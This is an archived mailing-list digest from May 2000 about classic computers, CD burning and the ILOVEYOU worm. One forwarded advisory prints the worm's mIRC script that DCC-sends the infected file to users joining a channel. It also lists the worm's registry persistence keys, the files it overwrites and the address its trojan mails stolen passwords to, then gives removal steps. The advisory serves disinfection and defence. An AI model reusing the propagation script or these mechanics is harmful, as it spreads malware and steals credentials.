Rejected.Potential ILOVEYOU virus. > > Why do people use crappy software like that? If I hear one more > idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm > going to go postal. > > > -Dave McGuire OK -- how do you do the sendmail virus filter. I've got to do this at work. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Thu May 4 15:59:37 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:29 2005 Subject: Mode page edit In-Reply-To: <000504151154.20200c46@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at "May 4, 2000 03:11:54 pm" Message-ID: <200005042059.QAA01333@bg-tc-ppp476.monmouth.com> > Chuck writes: > > If you're really bored you can learn how to do mode page editing on SCSI > drives yourself. I learned it a couple of years back when I got a boatload > of Micropolis 1.6Gig drives that had been set for 520-byte sectors and > wanted to use them in a more "normal" 512-byte mode. Since then the > skill has come in handy to connect modern, fast, and "large" (i.e. 9 > Gbytes or larger) SCSI drives onto systems that don't deal with drives > that large. Just go in, edit the disk capacity mode page, and you've > got a smaller than 1 Gig drive that never has to seek very far :-). > > -- > Tim Shoppa Email: shoppa@trailing-edge.com > Trailing Edge Technology WWW: http://www.trailing-edge.com/ > 7328 Bradley Blvd Voice: 301-767-5917 > Bethesda, MD, USA 20817 Fax: 301-767-5927 Gee. I could've done that for the VaxStation. I didn't think of that idea. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From mgregory at vantageresearch.com Thu May 4 16:25:14 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:29 2005 Subject: NeXT Cube for sale Message-ID: <017401bfb60f$3d2a24c0$0200a8c0@marvin> Greetings. A lack of space and financial issues are forcing me to part with an original NeXT Cube system. This is a system that I recently paid Real Money for, so unfortunately it's not a freebie. I thought I'd give the list first crack at it. If I don't get any interest in a week, to eBay it goes. I'm willing to ship it, but that will be very expensive due to weight. Please email me off-list for full details if interested. Thanks, Mark Gregory gregorym@cadvision.com System specs: Original NeXT Cube (68030, 400 MB HD, 16 MB RAM) NeXT 17" MegaPixel monitor NeXT laser printer NeXTstep 1.1 on optical disk/NeXTstep 2.1 on HD All cables, mouse, keyboard, full documentation and several additional books NeXTstep/OpenStep upgrade has not been ordered from Apple All original boxes and inserts. Price: $350 Canadian (approx. $235 US) + shipping; system is in Calgary, Alberta From jrkeys at concentric.net Thu May 4 16:29:38 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:29 2005 Subject: Lisa Faceplate Message-ID: <005a01bfb60f$db1def40$18dab0d0@default> Did anyone else catch the Lisa 1 faceplate on eBay going for over $200 for just one piece of plastic ? Something is wrong with this picture. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/d6332da8/attachment.html From jdarren at ala.net Thu May 4 16:47:37 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:51:29 2005 Subject: perkin/elmer & concurrent books Message-ID: <002b01bfb612$5d7860e0$026464c0@j.peters> One person asked for a list of the p-e/ccc books I have. I lost the message. Please contact me again. So sorry! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/8d8c191f/attachment.html From healyzh at aracnet.com Thu May 4 16:42:43 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> from "Bill Pechter" at May 04, 2000 04:55:29 PM Message-ID: <200005042142.OAA08399@shell1.aracnet.com> > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... > > Bill > -- Actually Adaptec EZ-CD *PRO* can do Audio. Of course the Audio software that they provide is total garbage. This is the first piece of software I've ever tossed. I like Toast on my PowerMac (as well as a lot of specialized software/hardware for handling the Audio). I've used toast to burn ISO RedHat and NetBSD images, I've not tried OpenVMS or PDP-11 disks (I really want to start backing up my PDP-11/73's Hard Drives to CD-R), of course the only reason I've not tried is lack of time. There are supposed to be a couple good packages for both UNIX and OpenVMS for writing CD's, but the only time I've needed to make my own UNIX CD, I simply made a ISO image and FTP'd it to the Mac. Zane From sipke at wxs.nl Thu May 4 17:50:04 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:51:29 2005 Subject: How to remove LOVE-LETTER-virus Message-ID: <02ac01bfb61b$16fcc620$030101ac@boll.casema.net> This is what i received from a friend and I will hereby forward for your benefit Sipke Virus Name: VBS/LoveLetter.worm Aliases: none known Characteristics: This worm is a VBS program that is sent attached to an email with the subject ILOVEYOU. The mail contains the message "kindly check the attached LOVELETTER coming from me." The attachment is called LOVE-LETTER-FOR-YOU.TXT.vbs If the user runs the attachment the worm runs using the Windows Scripting Host program. This is not normally present on Windows 95 or Windows NT unless Internet Explorer 5 is installed. When the worm is first run it drops copies of itself in the following places :- C:\WINDOWS\SYSTEM\MSKERNEL32.VBS C:\WINDOWS\WIN32DLL.VBS C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.VBS It also adds the registry keys :- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ MSKernel32=C:\WINDOWS\SYSTEM\MSKernel32.vbs HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ Win32DLL=C:\WINDOWS\Win32DLL.vbs in order to run the worm at system start-up. The worm replaces the following files :- *.JPG *.JPEG *.MP3 *.MP2 with copies of itself and it adds the extension .VBS to the original filename. So PICT.JPG would be replaced with PICT.JPG.VBS and this would contain the worm. The worm also overwrites the following files :- *.VBS *.VBE *.JS *.JSE *.CSS *.WSH *.SCT *.HTA with copies of itself and renames the files to *.VBS. The worm creates a file LOVE-LETTER-FOR-YOU.HTM which contains the worm and this is then sent to the IRC channels if the mIRC client is installed. This is accomplished by the worm replacing the file SCRIPT.INI with the following script :- [script] n0=on 1:JOIN:#:{ n1= /if ( $nick == $me ) { halt } n2= /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM n3=} After a short delay the worm uses Microsoft Outlook to send copies of itself to all entries in the address book. The mails will be of the same format as the original mail. This worm also has another trick up it's sleeve in that it tries to download and install an executable file called WIN-BUGSFIX.EXE from the Internet. This exe file is a password stealing program that will email any cached passwords to the mail address MAILME@SUPER.NET.PH In order to facilitate this download the worm sets the start-up page of Microsoft Internet Explorer to point to the web-page containing the password stealing trojan. The email sent by this program is as follows :- From: goat1@192.168.0.2To: mailme@super.net.phSubject: Barok... email.passwords.sender.trojanX-Mailer: Barok... email.passwords.sender.trojan---by: spyderHost: goat1Username: Goat1IP Address: 192.168.0.2 RAS Passwords:... ... Cache Passwords:... ... goatserver.goatnet/goatserver.goatnet : GOATNET\goat1: MAPI : MAPI The password stealing trojan is also installed via the following registry key :- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX to auto run at system start-up. After it has been run the password stealing trojan copies itself to WINDOWS\SYSTEM\WinFAT32.EXE and replaces the registry key with HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinFAT32=Wi nFAT32.EXE Date Discovered: Thursday May 4th 2000 DAT included: 4077 Risk: High > How to disinfect : Virus "I LOVE YOU" > > > > 1/ Kill all process called "wscript.exe" from the Windows NT > > TaskManager or > > from the running applications taskbar. > > > > 2/ Execute the "regedit" program from "Start" menu/"Run..." > > 3/ Using this program, go in > > "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" and > > remove the entry containing MSKernel32.vbs > > 4/ Do the same with > > "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ > > RunServices" > > and Win32DLL.vbs > > > > 5/ Go in "HKEY_CURRENT_USER\Software\Microsoft\Internet > > Explorer\Main" and > > change the value of "Start Page" to "about:blank" > > > > 6/ The virus also infects files on network drives by writing the virus > > script in files with those extensions: vbs, vbe, js, jse, > > css, wsh, sct, > > hta, jpeg, jpg, mp3, mp2. You can check this by making a > > "Find" on every > > network drive, looking for the string "loveletter" (in the > > field "Containing > > text:"). > > > > Look in your sent items to check to who you sent the virus. > > From ss at allegro.com Thu May 4 17:13:40 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <10005042136.ZM1624@indy.dunnington.u-net.com> Message-ID: <200005042215.PAA20007@opus.allegro.com> Re: > > It's an email worm that takes advantage of MS Active-x controls. > We've already had one hard drive wiped out by it :-( I had to explain to several people here why I wasn't worried :) In the radio/TV reports I've heard about it, I've yet to hear any "expert" explain the simplest method of avoiding this (and similar) viruses: Don't use a mailer that's going to be executing any incoming code. So, two of us here (Pegasus users) are happy, while the MS Outlook users here are paranoid :) If you're curious about Pegasus (a Win95/98/NT mail client), check out www.pegasus.usa.com ... it's free. Personally, I prefer to use elm ... and usually do for most of my important mail. I like being able to say that I use a "steam-powered mail program". Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Thu May 4 17:35:26 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:29 2005 Subject: HP 3000/925 available Message-ID: <391198BE.11762.104F2E07@localhost> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 965 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/0cf82835/attachment.bin From rjzambo at attglobal.net Thu May 4 18:15:04 2000 From: rjzambo at attglobal.net (rjzambo@attglobal.net) Date: Sun Feb 27 18:51:29 2005 Subject: NeXT Cube for sale References: <017401bfb60f$3d2a24c0$0200a8c0@marvin> Message-ID: <39120478.8F2302A@attglobal.net> mark I live in montreal. how much to ship it? cheers Mark Gregory wrote: > Greetings. > > A lack of space and financial issues are forcing me to part with an > original NeXT Cube system. This is a system that I recently paid Real Money > for, so unfortunately it's not a freebie. I thought I'd give the list first > crack at it. If I don't get any interest in a week, to eBay it goes. I'm > willing to ship it, but that will be very expensive due to weight. > > Please email me off-list for full details if interested. > > Thanks, > Mark Gregory > gregorym@cadvision.com > > System specs: > > Original NeXT Cube (68030, 400 MB HD, 16 MB RAM) > NeXT 17" MegaPixel monitor > NeXT laser printer > NeXTstep 1.1 on optical disk/NeXTstep 2.1 on HD > All cables, mouse, keyboard, full documentation and several additional > books > NeXTstep/OpenStep upgrade has not been ordered from Apple > All original boxes and inserts. > > Price: $350 Canadian (approx. $235 US) + shipping; system is in Calgary, > Alberta From wilson at dbit.dbit.com Thu May 4 18:35:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 04, 2000 at 04:55:29PM -0400 References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> Message-ID: <20000504193533.A27790@dbit.dbit.com> On Thu, May 04, 2000 at 04:55:29PM -0400, Bill Pechter wrote: > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... cdrecord on Linux does exactly what you tell it, whether you mean it or not. So you can write any CD format you want, although most of the time you pipe in output from "mkisofs" to get ISO-9660 disks. The one problem I've had has been trying to duplicate existing CDs in a direct disk-to-disk copy, it seems to get caught off guard by the EOF, but it does fine with regular files. This may be something to do with Linux's sometimes vague notion of the size of raw devices (using llseek() to seek to EOF doesn't always return a meaningful offset). The mkfs type programs get around this by doing a binary search to read one byte at 64 different spots, maybe more recent cdrecords have been updated to do this (I'm a bit behind). John Wilson D Bit From kstumpf at unusual.on.ca Thu May 4 18:35:38 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:51:29 2005 Subject: Cincinatti Milacron, and other non-computer companies in the business of building computers. References: Message-ID: <002701bfb621$91d514a0$b582b7d1@kstumpf> And if you look on page 36 of Domestic Commercial Computing Power Between 1950 & 1979 (DCCP) you find information about the Cincinatti Milacron George - a true SBC (small business computer). As Allison pointed out, there were models 2100, 2200, and now we know about George. General Mills also dabbled in computer building. You won't find it in DCCP since it was designed and marketed for industrial control. There were many companies that got into, but perhaps the most successful was the Lyons company in England. No one had the type of computer they needed in the early 1950s so they built their own - the LEO - Lyons Electronic Office. From this sprouted ICT, then ICL, and now some non-British company owns what was once ICL. Is the do it yourself spirit still around? Yours in good faith. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From donm at cts.com Thu May 4 18:42:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <200005042215.PAA20007@opus.allegro.com> Message-ID: On Thu, 4 May 2000, Stan Sieler wrote: > Re: > > > It's an email worm that takes advantage of MS Active-x controls. > > We've already had one hard drive wiped out by it :-( > > I had to explain to several people here why I wasn't worried :) > > In the radio/TV reports I've heard about it, I've > yet to hear any "expert" explain the simplest method > of avoiding this (and similar) viruses: > > Don't use a mailer that's going to be executing any incoming code. > > So, two of us here (Pegasus users) are happy, while the > MS Outlook users here are paranoid :) > > If you're curious about Pegasus (a Win95/98/NT mail client), > check out www.pegasus.usa.com ... it's free. > > Personally, I prefer to use elm ... and usually do for most of > my important mail. I like being able to say that > I use a "steam-powered mail program". Pine works well also, but I think it puts out a little more smoke :) - don > > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From mikeford at socal.rr.com Thu May 4 18:07:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:29 2005 Subject: HP 3000/925 available In-Reply-To: <391198BE.11762.104F2E07@localhost> Message-ID: >> I have this old HP 3000 that is gathering dust. I think the rule we should make is that anyone posting anything weighing more than 2 lbs without giving the location agrees to pay shipping. ;) Seems fair to me. From pete at dunnington.u-net.com Thu May 4 18:52:33 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: Bill Pechter "Re: Plextor CD writers" (May 4, 16:55) References: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> Message-ID: <10005050052.ZM1809@indy.dunnington.u-net.com> On May 4, 16:55, Bill Pechter wrote: > > On May 4, 1:50, Chuck McManis wrote: > > > > > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > > > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I > > guessed > > > it was the block size issue. I wrote: > > More likely just a format that EZ CD can't read -- it understands ISO-9660, > > RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like > > most Solaris, IRIX, etc) isn't ISO format. If you have access to a > > unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac > > HFS, IRIX EFS/XFS, etc). > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... > > Bill The unix software to write audio CDs normally does so from WAV or AIFF (or AIFC) files; cdrecord, cdwrite, and WriteCD all do that. (Those are the only basic writers I know of; software like xcdroast are just frontends to one of the base writers, usually cdrecord). All of them also handle any image file; you'd normally use mkisofs to create an ISO-9660 image file containing whatever you want to write (mkisofs can also include RockRidge or Joliet extensions, can build TRANS.TBL entries for MESSDOS, and can create bootable CDs using El Torito); or use mkhybrid to create a hybrid ISO/HFS filesystem readable on a Mac; or use software like mkefs to create an IRIX bootable EFS CD. To copy a data CD, rather than create an image from a bunch of files, the easiest way is often to use dd. However, on a lot of systems, cdrecord (and probably cdwrite) can read the CD directly via the O.S. To copy an audio CD is more involved, mainly because it's impossible to guarantee that you get exactly the right "sectors" in exactly the right order from the original (a consequence of the way frames are labelled in CD-DA format). Tools like cdparanoia solve that by reading overlapping sections, and doing a lot of sliding comparisons to build up an accurate copy (it creates a WAV file for every track). That's why simpler methods often produce copies that don't sound exactly the same, though some CD-ROM readers do a pretty good job at getting a clean audio stream, especially in conjuction with software like readcdda or cdda2wav. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Thu May 4 17:23:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006301bfb61c$7777e970$7164c0d0@ajp166> >Whoa...hold your fire..... while I haven't seen this particular beastie, my >BlackIce Defender just set off an alarm for an attack attempt with the The LOVELETTER worm is real, my partners site is hammered by it. I got a copy of it today on the shell account and it likely can hurt me much if at all on the NTbox (you need those virus/worm/trogan helpers like active-x). No a desktop system at work does not need active-x nor does it need hotmail/instant-messenger (or chat, netmeeting to name a few more). Allison From allisonp at world.std.com Thu May 4 17:31:00 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006401bfb61c$78401b70$7164c0d0@ajp166> You can use outlook express if you do one thing before going on line... Go to TOOLS|options and hit the first item on the READ tab. That oen enables read(aka open) message after usually 10-15seconds. UNCHECK the box, then you can read you mail and if loveletter pops up you can safely delete it (also make sure it's deleted from the deleted items folder too). If you have outlook it's basically the same spiel but I never install it as its fat and usually not used for more than reading mail. Half the users run Netscape (3.01 gold or 4.72) and that is totally immune. Allison -----Original Message----- From: Stan Sieler To: classiccmp@classiccmp.org Date: Thursday, May 04, 2000 6:31 PM Subject: Re: Watch for "ILOVEYOU" loveletter.VBS bug Re: > > It's an email worm that takes advantage of MS Active-x controls. > We've already had one hard drive wiped out by it :-( I had to explain to several people here why I wasn't worried :) In the radio/TV reports I've heard about it, I've yet to hear any "expert" explain the simplest method of avoiding this (and similar) viruses: Don't use a mailer that's going to be executing any incoming code. So, two of us here (Pegasus users) are happy, while the MS Outlook users here are paranoid :) If you're curious about Pegasus (a Win95/98/NT mail client), check out www.pegasus.usa.com ... it's free. Personally, I prefer to use elm ... and usually do for most of my important mail. I like being able to say that I use a "steam-powered mail program". Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From allisonp at world.std.com Thu May 4 17:45:53 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006501bfb61c$79318050$7164c0d0@ajp166> It can be destructive but apparently it's easy to stop it before it does that. That and the files it deletes are mostly images and sounds. I believe it needs to get the downloaded win-bugsfix.exe file and that server/source is unreachable. It's bad as it represents another possble way to compromize MS based systems that are ubiquious. To any other system or a tightend MS one it's noise. Well read up on it as it takes advantage of all the cute little widgets of IE5.0 namely instant messaging, Chat and Active-x controls. Once on the system it uses the outlook/outlookexpress addressbook to send itself to friends and contacts. so if it get to insystem in the average company within minutes every one there has it and it will cascade. If you don't have IE 5.0 or outlook (office87/98 or 2000) your safer. Even when you install IE4.0/sp1 you can kill off some of the toys and make it much harder to infect. The problem is not so much crappy MS as its peoples affliction for toys and not tools. That and W95/98 are very bad for security and win2000 and NT run close if not set up right. W9x effectively has no security and if the user is SHARING folders/files on the local net and using a modem to access the internet that system makes a fine proxy. If you admin uses some sense and takes advantage of even w9x security and policy stuff you can be far more resistant to much of the junk. Allison -----Original Message----- From: Steve Robertson To: classiccmp@classiccmp.org Date: Thursday, May 04, 2000 4:24 PM Subject: RE: Watch for "ILOVEYOU" loveletter.VBS bug It's certainly spreading fast, I've already received three corrupt messages. Two of them came from other list servers (not this one) that I belong to and one came from a friend. Fortunately, I don't think this one is too distructive... Steve Robertson > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/c4782954/attachment.html From eric at brouhaha.com Thu May 4 18:58:29 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: <20000504193533.A27790@dbit.dbit.com> (message from John Wilson on Thu, 4 May 2000 19:35:33 -0400) References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> Message-ID: <20000504235829.11469.qmail@brouhaha.com> John Wilson wrote: > The one problem I've had has been trying to duplicate existing CDs in a > direct disk-to-disk copy, it seems to get caught off guard by the EOF, but > it does fine with regular files. This may be something to do with Linux's > sometimes vague notion of the size of raw devices (using llseek() to seek > to EOF doesn't always return a meaningful offset). The mkfs type programs > get around this by doing a binary search to read one byte at 64 different > spots, maybe more recent cdrecords have been updated to do this (I'm a > bit behind). The problem with direct CD to CD-R copy is that the OS, device driver, and even the CD-ROM drive do not have any reliable way to know how many sectors there are on the source disc, unless they can rely on file system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd need some other way to tell. On my system, I use a script I call cd2cdr to make copies of ISO 9660 discs: #!/bin/sh # direct disc-to-disc ISO-9660 CD copy source=/dev/hdc dest="0,6,0" speed=8 cdrecord -v dev=$dest speed=$speed -pad -isosize $source Obviously you'd need to modify the source, dest, and speed variables to suit your system. The -pad option tells cdrecord to write some extra empty sectors at the end, because some systems have trouble reading the last few sectors of a track. The -isosize option tells cdrecord to determine the size of the image from the ISO 9660 header. When writing from an image file (of any sort, not just ISO 9660), you do not need the -isosize header; cdrecord will use the file length. From CLASSICCMP at trailing-edge.com Thu May 4 19:14:33 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers Message-ID: <000504201433.20200c84@trailing-edge.com> >To copy an audio CD is more involved, mainly because it's impossible to >guarantee that you get exactly the right "sectors" in exactly the right >order from the original (a consequence of the way frames are labelled in >CD-DA format). Tools like cdparanoia solve that by reading overlapping >sections, and doing a lot of sliding comparisons to build up an accurate >copy (it creates a WAV file for every track). That's why simpler methods >often produce copies that don't sound exactly the same, though some CD-ROM >readers do a pretty good job at getting a clean audio stream, especially in >conjuction with software like readcdda or cdda2wav. I've only used it a few times, but "cdparanoia" is a damn good tool for what it does. Excellent at reporting error correction levels necessary for reading the audio CD, too. Tim. From jhfine at idirect.com Thu May 4 19:29:04 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:29 2005 Subject: OT: Test References: Message-ID: <391215CF.72B3704E@idirect.com> >Mike Ford wrote: > >Testing - Please Ignore! > > Three of these messages have shown up on the list, what are you testing? Jerome Fine replies: I am attempting to find out why I am not receiving any classiccmp mail. Since I presume that you are, either my ISP is blocking the mail or I have been dropped from the list. Anyway I can find out? If I have been dropped, how do I subscribe? I was on the old list and never subscribed to the new list as I was transferred over. Sincerely yours, Jerome Fine From mcguire at neurotica.com Thu May 4 19:33:05 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:30 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Re: Watch for "ILOVEYOU" loveletter.VBS bug (Bill Pechter) References: <14609.52485.674462.260780@phaduka.neurotica.com> <200005042057.QAA01313@bg-tc-ppp476.monmouth.com> Message-ID: <14610.5825.974280.770862@phaduka.neurotica.com> On May 4, Bill Pechter wrote: > > May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 Rejected.Potential ILOVEYOU virus. > > OK -- how do you do the sendmail virus filter. I've got to do this at > work. This one was standard functionality in release 8.9.3... -Dave McGuire From mcguire at neurotica.com Thu May 4 19:34:08 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:30 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Re: Watch for "ILOVEYOU" loveletter.VBS bug (Nick Oliviero) References: <14609.52485.674462.260780@phaduka.neurotica.com> <3911D94E.A64DA6BD@arrl.net> Message-ID: <14610.5888.34622.398860@phaduka.neurotica.com> On May 4, Nick Oliviero wrote: > As far as the micro$lop, soon as I find a -500au my Aptiva is history. How much are they going for these days? -Dave McGuire From xds_sigma7 at hotmail.com Thu May 4 19:39:19 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:30 2005 Subject: Lyons, Elliot, GEC, ICL, et al. Message-ID: <20000505003920.2689.qmail@hotmail.com> OK, for what its worth; Lyons Brothers built the LEO because they wanted to computerize their business, but they couldn't find anyone selling commercial machines, so they went ahead and built their own. LEO, by the way, stands for Lyons Electronic Office. The LEO was actually completed in early 1951, and other companies heard about it and wanted it, so Lyons suddenly were in the computer business. Most people don't know this, but the LEO is the first commercial computer, it beat UNIVAC I to market by several months. Lyons Brothers, Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English Electric merged to form Marconi Elliot Computer Systems Ltd., which kept selling the various dissimilar lines (there is some mention of AEI also being a part of this). In 1970 or 71, the company became known as GEC Computers Ltd., and some parts (I don't know what ones for sure), were combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the real-time systems, and ICL was all the data-processing systems. Somehow Lyons Brothers fits into this picture also, I'm just not sure how. ICL was first bought by an English electronics company called STC plc in 1984, then Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu also owns all of Amdahl, having excercised their option to buy the rest of the company, since as you probably know, they put up the money to start Amdahl and as such always owned a large chunk of it. I think GEC has subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is a huge mess really. I hope you don't mind me taking the chance to give you more info about them than you probably wanted. BTW, I know Elliot Brothers (later Elliot Automation) dates back to 1795, and I'm fairly sure some of the other companies involved are that age or older. If anyone has more info I'd like to hear it, I have info on a bunch of models of ICL/GEC/Elliot/English Electric machines too. I'd most like to know more about ICT... ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From lemay at cs.umn.edu Thu May 4 19:42:00 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:30 2005 Subject: Lisa Faceplate In-Reply-To: <005a01bfb60f$db1def40$18dab0d0@default> from "John R. Keys Jr." at "May 4, 2000 04:29:38 pm" Message-ID: <200005050042.TAA01484@caesar.cs.umn.edu> > Did anyone else catch the Lisa 1 faceplate on eBay going for over $200 for just one piece of plastic ? Something is wrong with this picture. That depends on what someone would offer me for a PDP 8/E faceplate. -Lawrence LeMay From kyrrin at bluefeathertech.com Thu May 4 19:45:56 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:30 2005 Subject: Classic Computer Stuff In-Reply-To: <15.35bdcb6.26433b06@aol.com> Message-ID: <3.0.5.32.20000504174556.009735f0@mail.bluefeathertech.com> At 16:43 04-05-2000 EDT, you wrote: >Don't know if for sale posts are OK. I'm a newbie to this group. If it isn't >I won't do it again. >We sell Classic Computer Stuff on eBay Then you have my profound sympathies. I, for one, ceased to patronize Ebay some months back for various reasons which I will not bore the listmembers with, though I will say that the attitude of "Epay" towards its users' privacy had a lot to do with my decision. May I suggest offering your stuff here before you post it on Ebay? It may well save you listing costs, and you'll get an audience that will actually (in most cases that I know of) put what they're buying to active use rather than treating it as some sort of trophy. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From wilson at dbit.dbit.com Thu May 4 20:16:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:30 2005 Subject: Plextor CD writers In-Reply-To: <20000504235829.11469.qmail@brouhaha.com>; from eric@brouhaha.com on Thu, May 04, 2000 at 11:58:29PM -0000 References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> <20000504235829.11469.qmail@brouhaha.com> Message-ID: <20000504211633.A28089@dbit.dbit.com> On Thu, May 04, 2000 at 11:58:29PM -0000, Eric Smith wrote: > The problem with direct CD to CD-R copy is that the OS, device driver, > and even the CD-ROM drive do not have any reliable way to know how many > sectors there are on the source disc, unless they can rely on file > system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd > need some other way to tell. FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to a SCSI "READ CAPACITY" command. Are you saying that most drives don't support this? Anyway thanks for the tip about -isosize, that will definitely come in handy. I've been trying to make more of a habit of copying CDs and working from the copy, the same way anyone does with floppies, because for some strange reason all my expensive commercial CDs always seem to wind up getting stepped on eventually, and get scratched too badly to read. Especially the M$ ones... John Wilson D Bit From healyzh at aracnet.com Thu May 4 20:19:34 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:30 2005 Subject: -500au (was: Re: Watch for "ILOVEYOU" loveletter.VBS bug) In-Reply-To: <14610.5888.34622.398860@phaduka.neurotica.com> from "Dave McGuire" at May 04, 2000 08:34:08 PM Message-ID: 